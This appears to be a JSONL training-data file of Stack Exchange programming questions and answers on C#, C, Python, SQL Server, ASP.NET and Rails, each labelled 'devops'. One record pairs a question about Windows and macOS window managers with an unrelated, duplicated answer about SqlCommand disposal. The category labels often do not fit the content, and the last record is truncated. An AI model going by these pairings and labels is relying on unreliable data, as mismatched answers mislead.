{"id": "hf_674ce1fcb0cf", "question": "<p>We are working on a winforms app in Visual Studio 2005 and the setup project we created output both an MSI and an EXE.  We aren't sure what the EXE file is used for because we are able to install without the EXE.</p>\n", "question_body": "", "answer": "It's a bootstrapper that checks to make sure that the .NET Framework is installed, before launching the MSI. It's pretty handy.\nI suggest using something like SFX Compiler to package the two together into one self-extracting .exe and then launch the extracted setup.exe. This way you retain the benefits of the bootstrapper, but your users only download a single thing.\nEdit\n: also see\nThe official line:\nMSDN documentation\nSome bootstrapper customization:\nsome guy's blog post about what he did", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.903978"}
{"id": "hf_ac2fa1a43f31", "question": "<p>Is there a one statement or one line way to accomplish something like this, where the string s is declared AND assigned the first non-null value in the expression?</p>\n\n<pre><code>//pseudo-codeish\nstring s = Coalesce(string1, string2, string3);\n</code></pre>\n\n<p>or, more generally,</p>\n\n<pre><code>object obj = Coalesce(obj1, obj2, obj3, ...objx);\n</code></pre>\n", "question_body": "", "answer": "the\n??\noperator.\n```\n```\nstring a = nullstring ?? \"empty!\";\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:33.939098"}
{"id": "hf_0fe283f7349f", "question": "<p>Essentially I want to know if in VB.NET 2005 if using a sqlcommand and then reusing it by using the NEW is wrong.  Will it cause a memory leak.</p>\n\n<p>EG:</p>\n\n<pre><code>try\n\ndim mySQL as new sqlcommand(sSQL, cnInput)\n\n// do a sql execute and read the data \n\nmySQL = new sqlcommand(sSQLdifferent, cnInput)\n\n// do sql execute and read the data\ncatch ...\n\nfinally\n\nif mysql isnot nothing then\n   mysql.dispose\n   mysql = nothing\nend if\n</code></pre>\n\n<p>EDIT: put try catch in to avoid the comments about not using them</p>\n", "question_body": "", "answer": "Garbage collection will gather up the first new when it is run.\nOnly the second one you purposely dispose in the Finally block.  The first one will be disposed of the next time the garbage collection is run.\nI do not think this is a good idea.  If the first command is not closed correctly it is possible you would have an open connection to the database and it will not be disposed.\nA better way would be to dispose the first command after you are done using it, and then to reuse it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.008517"}
{"id": "hf_f666fafa9d8b", "question": "<p>X Windows has special processes called Window Managers that manage the layout of windows and decorations like their title bar, control buttons etc. Such processes use an X Windows API to detect events related to windows sizes and positions.</p>\n\n<p>Are there any consistent ways for writing such processes for Microsoft Windows or Mac OS/X?</p>\n\n<p>I know that in general these systems are less flexible but I'm looking for something that will use public APIs and not undocumented hacks.</p>\n", "question_body": "", "answer": "Garbage collection will gather up the first new when it is run.\nOnly the second one you purposely dispose in the Finally block.  The first one will be disposed of the next time the garbage collection is run.\nI do not think this is a good idea.  If the first command is not closed correctly it is possible you would have an open connection to the database and it will not be disposed.\nA better way would be to dispose the first command after you are done using it, and then to reuse it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.032408"}
{"id": "hf_474dba780db2", "question": "<p>I'm writing a C# POS (point of sale) system that takes input from a keyboard wedge magcard reader. This means that any data it reads off of a mag stripe is entered as if it were typed on the keyboard very quickly. Currently I'm handling this by attaching to the KeyPress event and looking for a series of very fast key presses that contain the card swipe sentinel characters.</p>\n\n<p>Is there a better way to deal with this sort of input? </p>\n\n<p>Edit: The device does simply present the data as keystrokes and doesn't interface through some other driver. Also We use a wide range of these types of devices so ideally a method should work independent of the specific model of wedge being used. However if there is no other option I'll have to make do.</p>\n", "question_body": "", "answer": "One thing you can do is that you should be able to configure your wedge reader so that it presents one or many escape characters before or after the string.  You would use these escape characters to know that you are about to have (or just had) a magcard input.\nThis same technique is used by barcode reader devices so you application knows to get focus or handle the data input from the device.\nThe negative to this approach is that you have to properly configure your external devices.  This can be a deployment issue.\nThis assumes that your devices simply present the data as keystrokes and don't interface through some other driver.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.055734"}
{"id": "hf_a65ceba87155", "question": "<p>I have some code that uses SMO to populate a list of available SQL Servers and databases.  While we no longer support SQL Server 2000, it's possible that the code could get run on a machine that SQL Server 2000 and not have the SMO library installed.  I would perfer to check for SMO first and degrade the functionality gracefully instead of blowing up in the user's face.  What is best way to detect whether or not SMO is available on a machine?</p>\n\n<p>Every example that I have seen through a quick Google scan was a variation of \"look for C:\\Program Files\\Microsoft SQL Server\\90\\SDK\\Assemblies\\Microsoft.SqlServer.Smo.dll\".  The problem with that approach is that it only works with SQL Server 2005.  If SQL Server 2008 is the only SQL Server installed then the path will be different.</p>\n", "question_body": "", "answer": "This is kind of clunky, but a quick check of the registry seems to work.  Under HKEY_CLASSES_ROOT, a large number of classes from the SMO assemblies will be registered.  All I needed to do was to pick one of the SMO classes and check for the existence of the key with the same name.  The following function will return true if SMO has been installed, false if otherwise.\n```\n```\nprivate bool CheckForSmo()\n{\n    string RegKeyName = @\"Microsoft.SqlServer.Management.Smo.Database\";\n    bool result = false;\n    Microsoft.Win32.RegistryKey hkcr = Microsoft.Win32.Registry.ClassesRoot.OpenSubKey(RegKeyName);\n    result = hkcr != null;\n\n    if (hkcr != null)\n    {\n        hkcr.Close();\n    }\n\n    return result;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.079344"}
{"id": "hf_0bf200b0cd1f", "question": "<pre><code>class Foo\n{\n   static bool Bar(Stream^ stream);\n};\n\nclass FooWrapper\n{\n   bool Bar(LPCWSTR szUnicodeString)\n   {\n       return Foo::Bar(??);\n   }\n};\n</code></pre>\n\n<p><code>MemoryStream</code> will take a <code>byte[]</code> but I'd <em>like</em> to do this without copying the data if possible.</p>\n", "question_body": "", "answer": "If I had to copy the memory, I think the following would work:\n```\n```\nstatic Stream^ UnicodeStringToStream(LPCWSTR szUnicodeString)\n{\n   //validate the input parameter\n   if (szUnicodeString == NULL)\n   {\n      return nullptr;\n   }\n\n   //get the length of the string\n   size_t lengthInWChars = wcslen(szUnicodeString);  \n   size_t lengthInBytes = lengthInWChars * sizeof(wchar_t);\n\n   //allocate the .Net byte array\n   array^ byteArray = gcnew array(lengthInBytes);\n\n   //copy the unmanaged memory into the byte array\n   Marshal::Copy((IntPtr)(void*)szUnicodeString, byteArray, 0, lengthInBytes);\n\n   //create a memory stream from the byte array\n   return gcnew MemoryStream(byteArray);\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.103071"}
{"id": "hf_73693cec7930", "question": "<p>We have a client that has Oracle <em>Standard</em>, and a project that would be ten times easier addressed using OLAP. However, Oracle only supports OLAP in the <em>Enterprise</em> version.</p>\n\n<p>Migration to enterprise is <strong>not</strong> possible</p>\n\n<p>I'm thinking of doing some manual simulation of OLAP, creating relational tables to simulate the technology.</p>\n\n<p>Do you know of some other way I could do this? Maybe an open-source tool for OLAP? Any ideas?</p>\n", "question_body": "", "answer": "I find that it's the schema that causes most of the issues people have with querying a database.  OLAP forces you to either a flat table or a Star/snowflake schema which is easy to query and comparably faster to the source oltp tables.   So if you ETL your source to a flat table or star schema you should get 80% of what you get from OLAP, the 20% being MDX and analytic functions and performance.\nNote that you should get a perf boost with a star schema in relational database as well and Oracle probably has analytic functions in PL/SQL anyways.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.189923"}
{"id": "hf_05ba7cfee230", "question": "<p>I've started working with ASP.net AJAX (finally ☺). and I've got an update panel together with a asp:UpdateProgress. My Problem: The UpdateProgress always forces a line-break, because it renders out as a div-tag.</p>\n\n<p>Is there any way to force it being a span instead? I want to display it on the same line as some other controls without having to use a table or even <em>shudders</em> absolute positioning in CSS.</p>\n\n<p>I'm stuck with ASP.net AJAX 1.0 and .net 3.0 if that makes a difference.</p>\n", "question_body": "", "answer": "You can make a div inline like this:\n```\n```\n<div style=\"display:inline\">stuff</div>\n```\n```\nI'm skeptical of it rendering the div for you though...  I don't remember having this problem on my pages...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.237190"}
{"id": "hf_f016ebfb69e5", "question": "<p>I have a C# singleton class that multiple classes use. Is access through <code>Instance</code> to the <code>Toggle()</code> method thread-safe? If yes, by what assumptions, rules, etc. If no, why <em>and</em> how can I fix it?</p>\n\n<pre><code>public class MyClass\n{\n    private static readonly MyClass instance = new MyClass();\n\n    public static MyClass Instance\n    {\n        get { return instance; }\n    }\n\n    private int value = 0;\n\n    public int Toggle()\n    {\n        if(value == 0) \n        {\n            value = 1; \n        }\n        else if(value == 1) \n        { \n            value = 0; \n        }\n\n        return value;\n    }\n}\n</code></pre>\n", "question_body": "", "answer": "Quote:\n```\n```\nif(value == 0) { value = 1; }\nif(value == 1) { value = 0; }\nreturn value;\n```\n```\n```\nvalue\n```\nwill always be 0...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.260777"}
{"id": "hf_8ba565d54765", "question": "<p>Inspired by <a href=\"https://devblogs.microsoft.com/oldnewthing/20080902-00/?p=21003\" rel=\"noreferrer\">Raymond Chen's post</a>, say you have a 4x4 two dimensional array, write a function that rotates it 90 degrees. Raymond links to a solution in pseudo code, but I'd like to see some real world stuff.</p>\n\n<pre><code>[1][2][3][4]\n[5][6][7][8]\n[9][0][1][2]\n[3][4][5][6]\n</code></pre>\n\n<p>Becomes:</p>\n\n<pre><code>[3][9][5][1]\n[4][0][6][2]\n[5][1][7][3]\n[6][2][8][4]\n</code></pre>\n\n<p><strong>Update</strong>: Nick's answer is the most straightforward, but is there a way to do it better than n^2? What if the matrix was 10000x10000?</p>\n", "question_body": "", "answer": "Here it is in C#\n```\n```\nint[,] array = new int[4,4] {\n    { 1,2,3,4 },\n    { 5,6,7,8 },\n    { 9,0,1,2 },\n    { 3,4,5,6 }\n};\n\nint[,] rotated = RotateMatrix(array, 4);\n\nstatic int[,] RotateMatrix(int[,] matrix, int n) {\n    int[,] ret = new int[n, n];\n\n    for (int i = 0; i < n; ++i) {\n        for (int j = 0; j < n; ++j) {\n            ret[i, j] = matrix[n - j - 1, i];\n        }\n    }\n\n    return ret;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.313641"}
{"id": "hf_569100661e6b", "question": "<p>Looking for an example that:</p>\n\n<ol>\n<li>Launches an EXE</li>\n<li>Waits for the EXE to finish.</li>\n<li>Properly closes all the handles when the executable finishes.</li>\n</ol>\n", "question_body": "", "answer": "There is an example at\nhttp://msdn.microsoft.com/en-us/library/ms682512(VS.85).aspx\nJust replace the\n```\nargv[1]\n```\nwith your constant or variable containing the program.\n```\n```\n#include <windows.h>\n#include <stdio.h>\n#include <tchar.h>\n\nvoid _tmain( int argc, TCHAR *argv[] )\n{\n    STARTUPINFO si;\n    PROCESS_INFORMATION pi;\n\n    ZeroMemory( &si, sizeof(si) );\n    si.cb = sizeof(si);\n    ZeroMemory( &pi, sizeof(pi) );\n\n    if( argc != 2 )\n    {\n        printf(\"Usage: %s [cmdline]\\n\", argv[0]);\n        return;\n    }\n\n    // Start the child process. \n    if( !CreateProcess( NULL,   // No module name (use command line)\n        argv[1],        // Command line\n        NULL,           // Process handle not inheritable\n        NULL,           // Thread handle not inheritable\n        FALSE,          // Set handle inheritance to FALSE\n        0,              // No creation flags\n        NULL,           // Use parent's environment block\n        NULL,           // Use parent's starting directory \n        &si,            // Pointer to STARTUPINFO structure\n        &pi )           // Pointer to PROCESS_INFORMATION structure\n    ) \n    {\n        printf( \"CreateProcess failed (%d).\\n\", GetLastError() );\n        return;\n    }\n\n    // Wait until child process exits.\n    WaitForSingleObject( pi.hProcess, INFINITE );\n\n    // Close process and thread handles. \n    CloseHandle( pi.hProcess );\n    CloseHandle( pi.hThread );\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.341899"}
{"id": "hf_8b337af2f8c1", "question": "<p>I'm in the process of maintaining a Ruby on Rails app and am looking for an easy way to find the hostname or IP address of the box I'm on (since it's a VM and new instances may have different hostnames or IP addresses). Is there a quick and easy way to do this in Ruby on Rails?</p>\n\n<p>Edit: The answer below is correct but the clarification Craig provided is useful (see also provided link in answer):</p>\n\n<blockquote>\n  <p>The [below] code does NOT make a\n  connection or send any packets (to\n  64.233.187.99 which is google). Since UDP is a stateless protocol connect()\n  merely makes a system call which\n  figures out how to route the packets\n  based on the address and what\n  interface (and therefore IP address)\n  it should bind to. addr() returns an\n  array containing the family (AF_INET),\n  local port, and local address (which\n  is what we want) of the socket.</p>\n</blockquote>\n", "question_body": "", "answer": "try:\nRequest.remote_ip\nremote_ip()\nDetermine originating IP address. REMOTE_ADDR is the standard but will\n  fail if the user is behind a proxy. HTTP_CLIENT_IP and/or\n  HTTP_X_FORWARDED_FOR are set by proxies so check for these if\n  REMOTE_ADDR is a proxy. HTTP_X_FORWARDED_FOR may be a comma- delimited\n  list in the case of multiple chained proxies; the last address which\n  is not trusted is the originating IP.\nUpdate:\nOops, sorry I misread the documentation.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.415638"}
{"id": "hf_3a28ac517df9", "question": "<p>The Python docs say:</p>\n\n<blockquote>\n  <p>re.MULTILINE: When specified, the pattern character '^' matches at the beginning of the string and at the beginning of each line (immediately following each newline)... By default, '^' matches only at the beginning of the string...</p>\n</blockquote>\n\n<p>So what's going on when I get the following unexpected result?</p>\n\n<pre><code>&gt;&gt;&gt; import re\n&gt;&gt;&gt; s = \"\"\"// The quick brown fox.\n... // Jumped over the lazy dog.\"\"\"\n&gt;&gt;&gt; re.sub('^//', '', s, re.MULTILINE)\n' The quick brown fox.\\n// Jumped over the lazy dog.'\n</code></pre>\n", "question_body": "", "answer": "Look at the definition of\n```\nre.sub\n```\n:\n```\n```\nre.sub(pattern, repl, string[, count, flags])\n```\n```\nThe 4th argument is the count, you are using\n```\nre.MULTILINE\n```\n(which is 8) as the count, not as a flag.\nEither use a named argument:\n```\n```\nre.sub('^//', '', s, flags=re.MULTILINE)\n```\n```\nOr compile the regex first:\n```\n```\nre.sub(re.compile('^//', re.MULTILINE), '', s)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.451821"}
{"id": "hf_745a743a15ac", "question": "<p>I know you can use several different view engines with ASP.NET MVC:</p>\n\n<ul>\n<li>ASPX, obviously</li>\n<li>NVelocity</li>\n<li>Brail</li>\n<li>NHaml</li>\n<li>et al...</li>\n</ul>\n\n<p>The default ASPX view engine seems to make the most sense to me, coming from an ASP.NET WebForms background.  </p>\n\n<p>But, I wanted to get an idea of the pros and cons of each and see what most people are using. </p>\n\n<p>Which does StackOverflow use?</p>\n", "question_body": "", "answer": "Most people on the planet will just use ASPX because that's what they know.  Another excellent benefit is the compiled-nature... so you not only get type-safety and intellisense, but you can get the perf benefit as well.\nThe drawback that I see is that it's so flippin' verbose.  I converted an app to NVelocity and was astounded at how clean it looked.  The problem is that there were a lot of things that didn't work with NVelocity (like your own custom view helpers) and there was a severe lack of documentation.\nI added a feature to MvcContrib where you can register your own HtmlExtension types to it, but it's more of a bandaid until a better solution comes out.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.476322"}
{"id": "hf_c9cf82ea1597", "question": "<p>I have heard/read the term but don't quite understand what it means.</p>\n\n<p>When should I use this technique and how would I use it? Can anyone provide a good code sample?</p>\n", "question_body": "", "answer": "The visitor pattern is a way of doing double-dispatch in an object-oriented way.\nIt's useful for when you want to choose which method to use for a given argument based on its type at runtime rather than compile time.\nDouble dispatch is a special case of\nmultiple dispatch\n.\nWhen you call a virtual method on an object, that's considered single-dispatch because which actual method is called depends on the type of the single object.\nFor double dispatch, both the object's type and the method sole argument's type is taken into account. This is like method overload resolution, except that the argument type is determined at runtime in double-dispatch instead of statically at compile-time.\nIn multiple-dispatch, a method can have multiple arguments passed to it and which implementation is used depends on each argument's type. The order that the types are evaluated depends on the language. In LISP, it checks each type from first to last.\nLanguages with multiple dispatch make use of generic functions, which are just function delcarations and aren't like generic methods, which use type parameters.\nTo do double-dispatch in C#\n, you can declare a method with a sole object argument and then specific methods with specific types:\n```\n```\nusing System.Linq;  \n\nclass DoubleDispatch\n{ \n    public T Foo<T>(object arg)\n    { \n        var method = from m in GetType().GetMethods()\n                   where    m.Name == \"Foo\" \n                         && m.GetParameters().Length==1\n                         && arg.GetType().IsAssignableFrom\n                                           (m.GetParameters()[0].GetType())\n                         && m.ReturnType == typeof(T)\n                   select m;\n\n        return (T) method.Single().Invoke(this,new object[]{arg});          \n    }\n\n    public int Foo(int arg) { /* ... */ }\n\n    static void Test() \n    { \n        object x = 5;\n        Foo<int>(x); //should call Foo(int) via Foo<T>(object).\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.500270"}
{"id": "hf_fbc8f93dcda4", "question": "<p>How am I supposed to get the <code>IDENTITY</code> of an inserted row?</p>\n<p>I know about <code>@@IDENTITY</code> and <code>IDENT_CURRENT</code> and <code>SCOPE_IDENTITY</code>, but don't understand the implications or impacts attached to each.</p>\n<p>Can someone please explain the differences and when I would be using each?</p>\n", "question_body": "", "answer": "From MSDN\n@@IDENTITY, SCOPE_IDENTITY, and IDENT_CURRENT are similar functions in that they return the last value inserted into the IDENTITY column of a table.\n@@IDENTITY and SCOPE_IDENTITY will return the last identity value generated in any table in the current session. However, SCOPE_IDENTITY returns the value only within the current scope; @@IDENTITY is not limited to a specific scope.\nIDENT_CURRENT is not limited by scope and session; it is limited to a specified table. IDENT_CURRENT returns the identity value generated for a specific table in any session and any scope. For more information, see IDENT_CURRENT.\nIDENT_CURRENT is a function which takes a table as a argument.\n@@IDENTITY may return confusing result when you have an trigger on the table\nSCOPE_IDENTITY is your hero most of the time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.582862"}
{"id": "hf_f34ab5b467a6", "question": "<p>Generally the database server is the biggest, most expensive box we have to buy as scaling vertically is the only option.  Are there any databases that scale well horizontally (i.e. across multiple commodity machines) and what are the limitations in this approach?</p>\n", "question_body": "", "answer": "There are storage techniques such as JavaSpaces (or a commercial implementation such as Gigaspaces) which provide highly scalable, fast & secure access to objects.\nThere are also distributed cacheing systems such as memcached, which offer a similar approach.\nOf course, neither of these are true databases, but they are things that can work in conjunction with databases to offer a large amount of horizontal scalability, given a suitable architecture.  The real problem is that if you want all of the ACID goodness that comes with a database, there are certain unavoidable performance penalties. The only way out is to figure out the bits where you don't need ACID, and use other technologies to service those bits.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.607193"}
{"id": "hf_eb216dadb532", "question": "<p>What would be the best way to do an <code>scp</code> or <code>sftp</code> copy in a Unix environment using C?</p>\n<p>I'm interested in knowing the best library to use and an example if at all possible. I'm working on a <a href=\"https://en.wikipedia.org/wiki/Solaris_%28operating_system%29\" rel=\"nofollow noreferrer\">Solaris</a> server with the <em><a href=\"https://en.wikipedia.org/wiki/Sun_Microsystems\" rel=\"nofollow noreferrer\">Sun</a> tools</em> installed.</p>\n", "question_body": "", "answer": "In the past, I've simply called a shell script that contained the file transfer code.\n```\n```\nint transferFile()\n{\n  // Declare the transfer command\n  char transferCommand[50] = \"/home/tyler/transferFile.shl\";\n  // Execute the command\n  return system(transferCommand);\n}\n```\n```\nThis will return 1 if the transfer command returns successfully.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.631450"}
{"id": "hf_3eeef8038d34", "question": "<p>What's the best way to get user input in a C program where the choices are of a limited number?</p>\n<p>Say for example the choices are:</p>\n<p>A) Print the list.\nB) Add 99 to the end of the list.\nC) Delete all duplicates.\n5) Reset 5 times.</p>\n<p>Entering &quot;A&quot; and then Enter is OK.\nOr, just a single keystroke would work as well.</p>\n", "question_body": "", "answer": "I have used something simple like the following:\n```\n```\nint intput()\n{\n    char input = 0;\n    int ret_val = 0;\n\n    read(0, &input, 1);\n\n    switch(input) {\n        case 'c':\n            // Do c\n            break;\n\n        case 'p':\n            // Do p\n            break;\n\n        case 'd':\n            // Do d\n            break;\n\n        case 'q':\n            quit = 1;\n            break;\n\n        case '?':\n            PRINT(ENABLE, \"c - connect\\n\");\n            PRINT(ENABLE, \"p - ping\\n\");\n            PRINT(ENABLE, \"d - disconnect\\n\");\n            PRINT(ENABLE, \"q - quit\\n\");\n            PRINT(ENABLE, \"? - this message\\n\");\n            break;\n    }\n\n    return 0;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.667791"}
{"id": "hf_4fb7d955fe1c", "question": "<p>Here is some code I could not get to format properly in markdown, this is straight C code, pasted into the text box with the '4 spaces' format to denote code:</p>\n\n<pre><code>#define PRINT(x, format, ...) \\\nif ( x ) { \\\n    if ( debug_fd != NULL ) { \\\n        fprintf(debug_fd, format, ##__VA_ARGS__); \\\n    } \\\n    else { \\\n        fprintf(stdout, format, ##__VA_ARGS__); \\\n    } \\\n}\n</code></pre>\n\n<p>It seems as though the '\\' causes the newlines to be ignored.  Ok fine, I am used to this in bash, but if I put '\\' the second one doesn't show up.  As if the second one is absorbed.   Am I missing something?</p>\n", "question_body": "", "answer": "Add at least four spaces or a hard tab before each line of the code. Like this:\n```\n```\n#define PRINT(x, format, ...) \\\nif ( x ) { \\\n    if ( debug_fd != NULL ) { \\\n        fprintf(debug_fd, format, ##VA_ARGS); \\\n} \\\nelse { \\\n    fprintf(stdout, format, ##VA_ARGS); \\\n} \\\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.775906"}
{"id": "hf_f2d50e4cce58", "question": "<p>Does anyone know how many options a drop down list can have? Is it unlimited?  How many before performance degrades?</p>\n", "question_body": "", "answer": "Does anyone know how many options a drop down list can have? Is it unlimited?\nI imagine it is unlimited in theory, obviously not in practice as a computer's RAM and the specific browser's limitations come into play.\nHow many before performance degrades?\nAgain, this would depend on a few factors, at the least the specific browser, the computer's memory and processing power.\nEDIT: From experience, I have had drop down lists with thousands of options. It wasn't ideal though because who wants to scroll through all of those? This is why an auto-complete of some type is more desirable for numerous reasons, especially the end user's experience.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.799589"}
{"id": "hf_6afc63914ce8", "question": "<p>I'm using <kbd>Ctrl</kbd>+<kbd>Left</kbd> / <kbd>Ctrl</kbd>+<kbd>Right</kbd> in a GreaseMonkey script as a hotkey to turn back / forward pages. It seems to works fine, but I want to disable this behavior if I'm in a text edit area. I'm trying to use document.activeElement to get the page active element and test if it's an editable area, but it always returns \"undefined\".</p>\n", "question_body": "", "answer": "document.activeElement works for me in FF3 but the following also works\n```\n```\n(function() {\n\nvar myActiveElement;\ndocument.onkeypress = function(event) {\n    if ((myActiveElement || document.activeElement || {}).tagName != 'INPUT')\n        // do your magic\n};\nif (!document.activeElement) {\n    var elements = document.getElementsByTagName('input');\n    for(var i=0; i<elements.length; i++) {\n        elements[i].addEventListener('focus',function() {\n            myActiveElement = this;\n        },false);\n        elements[i].addEventListener('blur',function() {\n            myActiveElement = null;\n        },false);\n    }\n}\n\n})();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.823940"}
{"id": "hf_b91e228dd16a", "question": "<p>Do you have any strategies for retrofitting unit tests onto a code base that currently has no unit tests ?</p>\n", "question_body": "", "answer": "Read\nWorking Effectively With Legacy Code by Feathers\n.\nJimmy Bogard has a\ngood blog series on SOC\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.859591"}
{"id": "hf_a69175add75d", "question": "<p>How can I get the MAC Address using only the compact framework?</p>\n", "question_body": "", "answer": "Add a reference to System.Management.dll and use something like:\n```\n```\nDim mc As System.Management.ManagementClass\nDim mo As ManagementObject\nmc = New ManagementClass(\"Win32_NetworkAdapterConfiguration\")\nDim moc As ManagementObjectCollection = mc.GetInstances()\nFor Each mo In moc\n    If mo.Item(\"IPEnabled\") = True Then\n        ListBox1.Items.Add(\"MAC address \" & mo.Item(\"MacAddress\").ToString())\n    End If\nNext\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:34.919824"}
{"id": "hf_ba1f0180a601", "question": "<p>Anyone know a good book or post about how to start in EF? I have seen the DnrTV any other place?</p>\n", "question_body": "", "answer": "Mike Taulty's Blog:\nhttp://mtaulty.com/CommunityServer/blogs/mike_taultys_blog/archive/category/1024.aspx\nA great EF intro deck:\nhttp://mtaulty.com/CommunityServer/blogs/mike_taultys_blog/archive/2008/03/13/10235.aspx\nAnd these ADO.NET Data Services screencasts are nice too:\nhttp://mtaulty.com/CommunityServer/blogs/mike_taultys_blog/archive/2008/01/25/10152.aspx\nADO.NET Entity Framework MSDN:\nhttp://msdn.microsoft.com/en-us/library/bb399572.aspx\nADO.NET Entity Framework forums:\nhttp://forums.microsoft.com/msdn/ShowForum.aspx?ForumID=533&SiteID=1\nADO.NET team blog:\nhttp://blogs.msdn.com/adonet/archive/tags/Entity+Framework/default.aspx\nProgramming LINQ and the ADO.NET Entity Framework Webcast:\nhttp://blogs.msdn.com/adonet/archive/2008/01/28/programming-linq-and-the-ado-net-entity-framework-webcast.aspx", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": 